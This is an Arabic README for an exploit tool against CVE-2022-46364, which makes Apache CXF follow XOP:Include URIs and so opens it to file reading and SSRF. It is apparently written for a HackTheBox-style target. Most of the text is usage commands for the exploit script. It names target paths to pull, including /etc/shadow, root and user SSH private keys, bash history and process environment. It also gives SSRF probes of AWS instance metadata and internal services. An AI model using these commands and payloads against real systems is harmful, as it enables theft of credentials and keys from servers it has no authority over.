
CVE-2022-46364 Apache CXF XOP:Include SSRF / LFI
المؤلف: 0xmid00
نوع الثغرة: SSRF / قراءة ملفات محلية عبر XOP:Include في طلبات MTOM
المتأثر: Apache CXF < 3.5.5 و < 3.4.10
يقوم Apache CXF بمعالجة رسائل MTOM (آلية تحسين نقل الرسائل) التي تحتوي على عناصر XOP:Include. من المفترض أن تشير السمة href في XOP:Include إلى مرفق داخل نفس رسالة MTOM متعددة الأجزاء.
ومع ذلك، في الإصدارات الضعيفة، يقوم CXF بتتبع أي URI يتم توفيره في href، بما في ذلك:
file:///etc/passwd → قراءة الملفات المحلية (LFI)http://127.0.0.1:PORT/ → فحص الخدمات الداخلية (SSRF)يكفي أن يرسل المهاجم طلب SOAP مع معلمة واحدة على الأقل من أي نوع لاستغلال هذه الثغرة.
pip install requests
python3 exploit.py -r request.txt [options]
احفظ طلب HTTP الخام في ملف .txt تماماً كما هو مأخوذ (مثلاً من Burp):
POST /employeeservice HTTP/1.1
Host: devarea.htb:8080
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
Connection: close
Content-Length: 487
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:tns="http://devarea.htb/">
<soapenv:Body>
<tns:submitReport>
<arg0>
<confidential>false</confidential>
<content>test</content>
<department>IT</department>
<employeeName>john</employeeName>
</arg0>
</tns:submitReport>
</soapenv:Body>
</soapenv:Envelope>
تقوم الأداة تلقائياً بتحويل الطلب إلى تنسيق MTOM — لست بحاجة للقيام بذلك يدوياً.
python3 exploit.py -r request.txt --mode 1
يحاول حقن file:///etc/passwd في كل عنصر XML طرفي ويبلغ عن أي منها يعيد محتوى الملف.
python3 exploit.py -r request.txt --mode 1 --field content
python3 exploit.py -r request.txt --mode 2 --wordlist lfi.txt
يقوم أولاً بتشغيل الوضع 1 للعثور على الحقل القابل للحقن، ثم يجرب جميع المسارات في قائمة الكلمات من خلال ذلك الحقل.
python3 exploit.py -r request.txt --mode 2 --field content --wordlist lfi.txt
يتجاوز اكتشاف الحقل ويذهب مباشرة إلى التجربة.
python3 exploit.py -r request.txt --field content --read /home/dev_ryan/.ssh/id_rsa
/etc/passwd
/etc/shadow
/etc/hosts
/etc/hostname
/proc/self/environ
/proc/self/cmdline
/home/dev_ryan/.ssh/id_rsa
/home/dev_ryan/.bash_history
/home/dev_ryan/.bashrc
/root/.ssh/id_rsa
/root/.bash_history
/var/log/auth.log
/var/log/syslog
يمكنك أيضاً استخدام SecLists:
/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
<xop:Include href="file:///..."/>لاستكشاف خدمات HTTP الداخلية بدلاً من قراءة الملفات:
python3 exploit.py -r request.txt --field content --read http://127.0.0.1:8080/
أو قم بتعديل قيمة --read بأي عنوان URL داخلي:
--read http://169.254.169.254/latest/meta-data/ (بيانات AWS الوصفية)
--read http://127.0.0.1:3306/ (MySQL)
--read http://127.0.0.1:22/ (شعار SSH)
هذه الأداة مخصصة فقط لاختبار الاختراق المصرح به وتحديات CTF. المؤلف غير مسؤول عن أي استخدام غير لائق.
| الوسيط | الوصف |
|---|
-r, --request | مسار ملف طلب HTTP الخام (مطلوب) |
--mode 1 | الكشف التلقائي عن الحقول القابلة للحقن باستخدام /etc/passwd |
--mode 2 | تجربة قائمة كلمات من مسارات الملفات |
--field NAME | تحديد حقل XML للحقن (يتجاوز الكشف التلقائي) |
--wordlist PATH | مسار قائمة كلمات الملفات للوضع 2 |
--read PATH | قراءة ملف واحد محدد |
-v, --verbose | عرض معلومات مفصلة عن الطلب |